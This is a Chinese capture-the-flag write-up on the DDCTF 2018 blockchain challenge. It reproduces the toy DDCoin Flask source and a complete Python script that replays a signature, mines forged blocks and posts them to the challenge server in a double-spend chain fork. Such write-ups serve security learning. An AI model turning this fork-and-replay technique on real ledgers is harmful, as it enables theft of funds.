打开题目大概看了一下,是有关区块链的题目,
感觉代码要格式化一下,不然没法看
代码格式化站点:https://www.html.cn/tool/js_beautify/
hash of genesis block: 86da55e5576b5ae10569d96373164a904d84f4b661ce27943aadce2482f34ede the bank 's addr: a03d814ea1763262f1c81b022d88c26ab115b8c4a7af9f98ed992120a5364e83ded337b4d42d2a0a68a5706f99edcc15, the hacker's addr: 9a90534302c3df81a51a80a5e1c3e934488b61235725f70220e585409bef336a8e3febcd13599c57c63aa84d9187c2fb, the shop 's addr: 9f8e7def3eefd2585b69ee9cd61fd3d53b634aa2068edf51035d264261d438c04f81dcc1f5d89f269af0cba4d191990f Balance of all addresses: { "9f8e7def3eefd2585b69ee9cd61fd3d53b634aa2068edf51035d264261d438c04f81dcc1f5d89f269af0cba4d191990f": 0, "9a90534302c3df81a51a80a5e1c3e934488b61235725f70220e585409bef336a8e3febcd13599c57c63aa84d9187c2fb": 999999, "a03d814ea1763262f1c81b022d88c26ab115b8c4a7af9f98ed992120a5364e83ded337b4d42d2a0a68a5706f99edcc15": 1 } All utxos: { "ae21969a-b172-4107-a210-3ed3ca73646b": { "amount": 1, "hash": "c8945b2986ee0e0e77c0ece55bfba3f472eac2d6d5f5a77999c1b12125661d8c", "addr": "a03d814ea1763262f1c81b022d88c26ab115b8c4a7af9f98ed992120a5364e83ded337b4d42d2a0a68a5706f99edcc15", "id": "ae21969a-b172-4107-a210-3ed3ca73646b" }, "1f9391af-096d-4593-8a76-58be04a32a1c": { "amount": 999999, "hash": "c91f541b8fed770cc283b3338f64a41a1232f5b0f72678fd1c3ddff8f68c7e46", "addr": "9a90534302c3df81a51a80a5e1c3e934488b61235725f70220e585409bef336a8e3febcd13599c57c63aa84d9187c2fb", "id": "1f9391af-096d-4593-8a76-58be04a32a1c" } } Blockchain Explorer: { "67465b6636fe643a3d6b7bc147655d154dcf78b7387e7f018f4866c8746f3c07": { "nonce": "HAHA, I AM THE BANK NOW!", "prev": "ef308ef989619f5be5a83934259ea9ab02200bd4ed663baed334c058e2854cd4", "hash": "67465b6636fe643a3d6b7bc147655d154dcf78b7387e7f018f4866c8746f3c07", "transactions": [{ "input": ["58c70ab1-771c-4c1b-83bf-20be61998524"], "signature": ["4751ffb8e8364e3ec2b81af0033afb28ad3d0477d71561bd9d06ef4915f45554da3116abf34181a5d2ba3a0fdbc0e130"], "hash": "51b0ea594d6417725cb76d89f52a954cf34f3d65e33821a0314aecacbe08a641", "output": [{ "amount": 999999, "hash": "c91f541b8fed770cc283b3338f64a41a1232f5b0f72678fd1c3ddff8f68c7e46", "addr": "9a90534302c3df81a51a80a5e1c3e934488b61235725f70220e585409bef336a8e3febcd13599c57c63aa84d9187c2fb", "id": "1f9391af-096d-4593-8a76-58be04a32a1c" }, { "amount": 1, "hash": "c8945b2986ee0e0e77c0ece55bfba3f472eac2d6d5f5a77999c1b12125661d8c", "addr": "a03d814ea1763262f1c81b022d88c26ab115b8c4a7af9f98ed992120a5364e83ded337b4d42d2a0a68a5706f99edcc15", "id": "ae21969a-b172-4107-a210-3ed3ca73646b" }] }], "height": 1 }, "ef308ef989619f5be5a83934259ea9ab02200bd4ed663baed334c058e2854cd4": { "nonce": "The Times 03/Jan/2009 Chancellor on brink of second bailout for bank", "prev": "0000000000000000000000000000000000000000000000000000000000000000", "hash": "ef308ef989619f5be5a83934259ea9ab02200bd4ed663baed334c058e2854cd4", "transactions": [{ "input": [], "signature": [], "hash": "23be8d04f8be6847b89c332848119c88ac4765387048f48428e09232ee8f328e", "output": [{ "amount": 1000000, "hash": "f1bd0e6d56727fd0da404f9fa535f2ddad7a0b2da947b701c28e38acfadfb975", "addr": "a03d814ea1763262f1c81b022d88c26ab115b8c4a7af9f98ed992120a5364e83ded337b4d42d2a0a68a5706f99edcc15", "id": "58c70ab1-771c-4c1b-83bf-20be61998524" }] }], "height": 0 }, "bd718018ce6313c89540fcb8c601a1d6d7fffdf6cca797ee5c7460409766dcaf": { "nonce": "a empty block", "prev": "67465b6636fe643a3d6b7bc147655d154dcf78b7387e7f018f4866c8746f3c07", "hash": "bd718018ce6313c89540fcb8c601a1d6d7fffdf6cca797ee5c7460409766dcaf", "transactions": [], "height": 2 } }
格式化完了,继续看一下源代码,这里给出了Python源代码
# -*- encoding: utf-8 -*-
# written in python 2.7
__author__ = 'garzon'
import hashlib, json, rsa, uuid, os
from flask import Flask, session, redirect, url_for, escape, request
from pycallgraph import PyCallGraph
from pycallgraph import Config
from pycallgraph.output import GraphvizOutput
app = Flask(__name__)
app.secret_key = '*********************'
url_prefix = ''
def FLAG():
return 'Here is your flag: DDCTF{******************}'
def hash(x):
return hashlib.sha256(hashlib.md5(x).digest()).hexdigest()
def hash_reducer(x, y):
return hash(hash(x)+hash(y))
def has_attrs(d, attrs):
if type(d) != type({}): raise Exception("Input should be a dict/JSON")
for attr in attrs:
if attr not in d:
raise Exception("{} should be presented in the input".format(attr))
EMPTY_HASH = '0'*64
def addr_to_pubkey(address):
return rsa.PublicKey(int(address, 16), 65537)
def pubkey_to_address(pubkey):
assert pubkey.e == 65537
hexed = hex(pubkey.n)
if hexed.endswith('L'): hexed = hexed[:-1]
if hexed.startswith('0x'): hexed = hexed[2:]
return hexed
def gen_addr_key_pair():
pubkey, privkey = rsa.newkeys(384)
return pubkey_to_address(pubkey), privkey
bank_address, bank_privkey = gen_addr_key_pair()
hacker_address, hacker_privkey = gen_addr_key_pair()
shop_address, shop_privkey = gen_addr_key_pair()
shop_wallet_address, shop_wallet_privkey = gen_addr_key_pair()
def sign_input_utxo(input_utxo_id, privkey):
return rsa.sign(input_utxo_id, privkey, 'SHA-1').encode('hex')
def hash_utxo(utxo):
return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])])
def create_output_utxo(addr_to, amount):
utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount}
utxo['hash'] = hash_utxo(utxo)
return utxo
def hash_tx(tx):
return reduce(hash_reducer, [
reduce(hash_reducer, tx['input'], EMPTY_HASH),
reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH)
])
def create_tx(input_utxo_ids, output_utxo, privkey_from=None):
tx = {'input': input_utxo_ids, 'signature': [sign_input_utxo(id, privkey_from) for id in input_utxo_ids], 'output': output_utxo}
tx['hash'] = hash_tx(tx)
return tx
def hash_block(block):
return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)])
def create_block(prev_block_hash, nonce_str, transactions):
if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value')
nonce = str(nonce_str)
if len(nonce) > 128: raise Exception('the nonce is too long')
block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions}
block['hash'] = hash_block(block)
return block
def find_blockchain_tail():
return max(session['blocks'].values(), key=lambda block: block['height'])
def calculate_utxo(blockchain_tail):
curr_block = blockchain_tail
blockchain = [curr_block]
while curr_block['hash'] != session['genesis_block_hash']:
curr_block = session['blocks'][curr_block['prev']]
blockchain.append(curr_block)
blockchain = blockchain[::-1]
utxos = {}
for block in blockchain:
for tx in block['transactions']:
for input_utxo_id in tx['input']:
del utxos[input_utxo_id]
for utxo in tx['output']:
utxos[utxo['id']] = utxo
return utxos
def calculate_balance(utxos):
balance = {bank_address: 0, hacker_address: 0, shop_address: 0}
for utxo in utxos.values():
if utxo['addr'] not in balance:
balance[utxo['addr']] = 0
balance[utxo['addr']] += utxo['amount']
return balance
def verify_utxo_signature(address, utxo_id, signature):
try:
return rsa.verify(utxo_id, signature.decode('hex'), addr_to_pubkey(address))
except:
return False
def append_block(block, difficulty=int('f'*64, 16)):
has_attrs(block, ['prev', 'nonce', 'transactions'])
if type(block['prev']) == type(u''): block['prev'] = str(block['prev'])
if type(block['nonce']) == type(u''): block['nonce'] = str(block['nonce'])
if block['prev'] not in session['blocks']: raise Exception("unknown parent block")
tail = session['blocks'][block['prev']]
utxos = calculate_utxo(tail)
if type(block['transactions']) != type([]): raise Exception('Please put a transaction array in the block')
new_utxo_ids = set()
for tx in block['transactions']:
has_attrs(tx, ['input', 'output', 'signature'])
for utxo in tx['output']:
has_attrs(utxo, ['amount', 'addr', 'id'])
if type(utxo['id']) == type(u''): utxo['id'] = str(utxo['id'])
if type(utxo['addr']) == type(u''): utxo['addr'] = str(utxo['addr'])
if type(utxo['id']) != type(''): raise Exception("unknown type of id of output utxo")
if utxo['id'] in new_utxo_ids: raise Exception("output utxo of same id({}) already exists.".format(utxo['id']))
new_utxo_ids.add(utxo['id'])
if type(utxo['amount']) != type(1): raise Exception("unknown type of amount of output utxo")
if utxo['amount'] <= 0: raise Exception("invalid amount of output utxo")
if type(utxo['addr']) != type(''): raise Exception("unknown type of address of output utxo")
try:
addr_to_pubkey(utxo['addr'])
except:
raise Exception("invalid type of address({})".format(utxo['addr']))
utxo['hash'] = hash_utxo(utxo)
tot_output = sum([utxo['amount'] for utxo in tx['output']])
if type(tx['input']) != type([]): raise Exception("type of input utxo ids in tx should be array")
if type(tx['signature']) != type([]): raise Exception("type of input utxo signatures in tx should be array")
if len(tx['input']) != len(tx['signature']): raise Exception("lengths of arrays of ids and signatures of input utxos should be the same")
tot_input = 0
tx['input'] = [str(i) if type(i) == type(u'') else i for i in tx['input']]
tx['signature'] = [str(i) if type(i) == type(u'') else i for i in tx['signature']]
for utxo_id, signature in zip(tx['input'], tx['signature']):
if type(utxo_id) != type(''): raise Exception("unknown type of id of input utxo")
if utxo_id not in utxos: raise Exception("invalid id of input utxo. Input utxo({}) does not exist or it has been consumed.".format(utxo_id))
utxo = utxos[utxo_id]
if type(signature) != type(''): raise Exception("unknown type of signature of input utxo")
if not verify_utxo_signature(utxo['addr'], utxo_id, signature):
raise Exception("Signature of input utxo is not valid. You are not the owner of this input utxo({})!".format(utxo_id))
tot_input += utxo['amount']
del utxos[utxo_id]
if tot_output > tot_input:
raise Exception("You don't have enough amount of DDCoins in the input utxo! {}/{}".format(tot_input, tot_output))
tx['hash'] = hash_tx(tx)
block = create_block(block['prev'], block['nonce'], block['transactions'])
block_hash = int(block['hash'], 16)
if block_hash > difficulty: raise Exception('Please provide a valid Proof-of-Work')
block['height'] = tail['height']+1
if len(session['blocks']) > 50: raise Exception('The blockchain is too long. Use ./reset to reset the blockchain')
if block['hash'] in session['blocks']: raise Exception('A same block is already in the blockchain')
session['blocks'][block['hash']] = block
session.modified = True
def init():
if 'blocks' not in session:
session['blocks'] = {}
session['your_diamonds'] = 0
# First, the bank issued some DDCoins ...
total_currency_issued = create_output_utxo(bank_address, 1000000)
genesis_transaction = create_tx([], [total_currency_issued]) # create DDCoins from nothing
genesis_block = create_block(EMPTY_HASH, 'The Times 03/Jan/2009 Chancellor on brink of second bailout for bank', [genesis_transaction])
session['genesis_block_hash'] = genesis_block['hash']
genesis_block['height'] = 0
session['blocks'][genesis_block['hash']] = genesis_block
# Then, the bank was hacked by the hacker ...
handout = create_output_utxo(hacker_address, 999999)
reserved = create_output_utxo(bank_address, 1)
transferred = create_tx([total_currency_issued['id']], [handout, reserved], bank_privkey)
second_block = create_block(genesis_block['hash'], 'HAHA, I AM THE BANK NOW!', [transferred])
append_block(second_block)
# Can you buy 2 diamonds using all DDCoins?
third_block = create_block(second_block['hash'], 'a empty block', [])
append_block(third_block)
def get_balance_of_all():
init()
tail = find_blockchain_tail()
utxos = calculate_utxo(tail)
return calculate_balance(utxos), utxos, tail
@app.route(url_prefix+'/')
def homepage():
announcement = 'Announcement: The server has been restarted at 21:45 04/17. All blockchain have been reset. '
balance, utxos, _ = get_balance_of_all()
genesis_block_info = 'hash of genesis block: ' + session['genesis_block_hash']
addr_info = 'the bank\'s addr: ' + bank_address + ', the hacker\'s addr: ' + hacker_address + ', the shop\'s addr: ' + shop_address
balance_info = 'Balance of all addresses: ' + json.dumps(balance)
utxo_info = 'All utxos: ' + json.dumps(utxos)
blockchain_info = 'Blockchain Explorer: ' + json.dumps(session['blocks'])
view_source_code_link = "<a href='source_code'>View source code</a>"
return announcement+('<br /><br />\r\n\r\n'.join([view_source_code_link, genesis_block_info, addr_info, balance_info, utxo_info, blockchain_info]))
@app.route(url_prefix+'/flag')
def getFlag():
init()
if session['your_diamonds'] >= 2: return FLAG()
return 'To get the flag, you should buy 2 diamonds from the shop. You have {} diamonds now. To buy a diamond, transfer 1000000 DDCoins to '.format(session['your_diamonds']) + shop_address
def find_enough_utxos(utxos, addr_from, amount):
collected = []
for utxo in utxos.values():
if utxo['addr'] == addr_from:
amount -= utxo['amount']
collected.append(utxo['id'])
if amount <= 0: return collected, -amount
raise Exception('no enough DDCoins in ' + addr_from)
def transfer(utxos, addr_from, addr_to, amount, privkey):
input_utxo_ids, the_change = find_enough_utxos(utxos, addr_from, amount)
outputs = [create_output_utxo(addr_to, amount)]
if the_change != 0:
outputs.append(create_output_utxo(addr_from, the_change))
return create_tx(input_utxo_ids, outputs, privkey)
@app.route(url_prefix+'/5ecr3t_free_D1diCoin_b@ckD00r/<string:address>')
def free_ddcoin(address):
balance, utxos, tail = get_balance_of_all()
if balance[bank_address] == 0: return 'The bank has no money now.'
try:
address = str(address)
addr_to_pubkey(address) # to check if it is a valid address
transferred = transfer(utxos, bank_address, address, balance[bank_address], bank_privkey)
new_block = create_block(tail['hash'], 'b@cKd00R tr1993ReD', [transferred])
append_block(new_block)
return str(balance[bank_address]) + ' DDCoins are successfully sent to ' + address
except Exception, e:
return 'ERROR: ' + str(e)
DIFFICULTY = int('00000' + 'f' * 59, 16)
@app.route(url_prefix+'/create_transaction', methods=['POST'])
def create_tx_and_check_shop_balance():
init()
try:
block = json.loads(request.data)
append_block(block, DIFFICULTY)
msg = 'transaction finished.'
except Exception, e:
return str(e)
balance, utxos, tail = get_balance_of_all()
if balance[shop_address] == 1000000:
# when 1000000 DDCoins are received, the shop will give you a diamond
session['your_diamonds'] += 1
# and immediately the shop will store the money somewhere safe.
transferred = transfer(utxos, shop_address, shop_wallet_address, balance[shop_address], shop_privkey)
new_block = create_block(tail['hash'], 'save the DDCoins in a cold wallet', [transferred])
append_block(new_block)
msg += ' You receive a diamond.'
return msg
# if you mess up the blockchain, use this to reset the blockchain.
@app.route(url_prefix+'/reset')
def reset_blockchain():
if 'blocks' in session: del session['blocks']
if 'genesis_block_hash' in session: del session['genesis_block_hash']
return 'reset.'
@app.route(url_prefix+'/source_code')
def show_source_code():
source = open('serve.py', 'r')
html = ''
for line in source:
html += line.replace('&','&').replace('\t', ' '*4).replace(' ',' ').replace('<', '<').replace('>','>').replace('\n', '<br />')
source.close()
return html
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0')
翻了一下wp,这里主要涉及的是一个双花攻击,也就是伪造出一条更长的链,替代原有的链,这里的前提是黑客要掌控绝对的算力(51%)就可以达到伪造条件了
具体的参考下面的几个链接,讲的很清楚很详细
https://xuanxuanblingbling.github.io/ctf/web/2018/05/01/DDCTF2018-WEB4-%E5%8C%BA%E5%9D%97%E9%93%BE/
https://delcoding.github.io/2018/04/ddctf-writeup4/
https://xz.aliyun.com/t/2299
https://www.360zhijia.com/anquan/375753.html
下面是攻击脚本,出自上面第一个大佬,修改一下钱包地址,就可以直接打了
# -*- encoding: utf-8 -*- # written in python 2.7 import hashlib, json, rsa, uuid, os, requests, re # 一堆变量常量 url_root = "http://111.198.29.45:32312/" url_create = "http://111.198.29.45:32312/create_transaction" url_flag = "http://111.198.29.45:32312/flag" s = requests.Session() ddcoin = s.get(url=url_root) prev_one = re.search(r"hash of genesis block: ([0-9a-f]{64})", ddcoin.content, flags=0).group(1) bank_utox_id = re.search(r"\"input\": \[\"([0-9a-f\-]{36})", ddcoin.content, flags=0).group(1) bank_signature = re.search(r"\"signature\": \[\"([0-9a-f]{96})", ddcoin.content, flags=0).group(1) DIFFICULTY = int('00000' + 'f' * 59, 16) EMPTY_HASH = '0' * 64 bank_addr = "a03d814ea1763262f1c81b022d88c26ab115b8c4a7af9f98ed992120a5364e83ded337b4d42d2a0a68a5706f99edcc15" hacke_addr = "9a90534302c3df81a51a80a5e1c3e934488b61235725f70220e585409bef336a8e3febcd13599c57c63aa84d9187c2fb" shop_addr = "9f8e7def3eefd2585b69ee9cd61fd3d53b634aa2068edf51035d264261d438c04f81dcc1f5d89f269af0cba4d191990f" # 源码中的API def hash(x): return hashlib.sha256(hashlib.md5(x).digest()).hexdigest() def hash_reducer(x, y): return hash(hash(x) + hash(y)) def hash_block(block): return reduce(hash_reducer, [block['prev'], block['nonce'], reduce(hash_reducer, [tx['hash'] for tx in block['transactions']], EMPTY_HASH)]) def hash_utxo(utxo): return reduce(hash_reducer, [utxo['id'], utxo['addr'], str(utxo['amount'])]) def hash_tx(tx): return reduce(hash_reducer, [ reduce(hash_reducer, tx['input'], EMPTY_HASH), reduce(hash_reducer, [utxo['hash'] for utxo in tx['output']], EMPTY_HASH) ]) def create_output_utxo(addr_to, amount): utxo = {'id': str(uuid.uuid4()), 'addr': addr_to, 'amount': amount} utxo['hash'] = hash_utxo(utxo) return utxo def create_tx(input_utxo_ids, output_utxo, privkey_from=None): tx = {'input': input_utxo_ids, 'signature': [bank_signature], 'output': output_utxo} # 修改了签名 tx['hash'] = hash_tx(tx) return tx def create_block(prev_block_hash, nonce_str, transactions): if type(prev_block_hash) != type(''): raise Exception('prev_block_hash should be hex-encoded hash value') nonce = str(nonce_str) if len(nonce) > 128: raise Exception('the nonce is too long') block = {'prev': prev_block_hash, 'nonce': nonce, 'transactions': transactions} block['hash'] = hash_block(block) return block # 构造的方法 def check_hash(prev, tx): for i in range(10000000): current_block = create_block(prev, str(i), tx) block_hash = int(current_block['hash'], 16) if block_hash < DIFFICULTY: print json.dumps(current_block) return current_block def create_feak_one(): utxo_first = create_output_utxo(shop_addr, 1000000) tx_first = create_tx([bank_utox_id], [utxo_first]) return check_hash(prev_one, [tx_first]) def create_empty_block(prev): return check_hash(prev, []) # 攻击过程 a = create_feak_one() print s.post(url=url_create, data=str(json.dumps(a))).content b = create_empty_block(a['hash']) print s.post(url=url_create, data=str(json.dumps(b))).content c = create_empty_block(b['hash']) print s.post(url=url_create, data=str(json.dumps(c))).content d = create_empty_block(c['hash']) print s.post(url=url_create, data=str(json.dumps(d))).content e = create_empty_block(d['hash']) print s.post(url=url_create, data=str(json.dumps(e))).content print s.get(url=url_flag).content
运行结果,如果不出差错的话,可以直接获得flag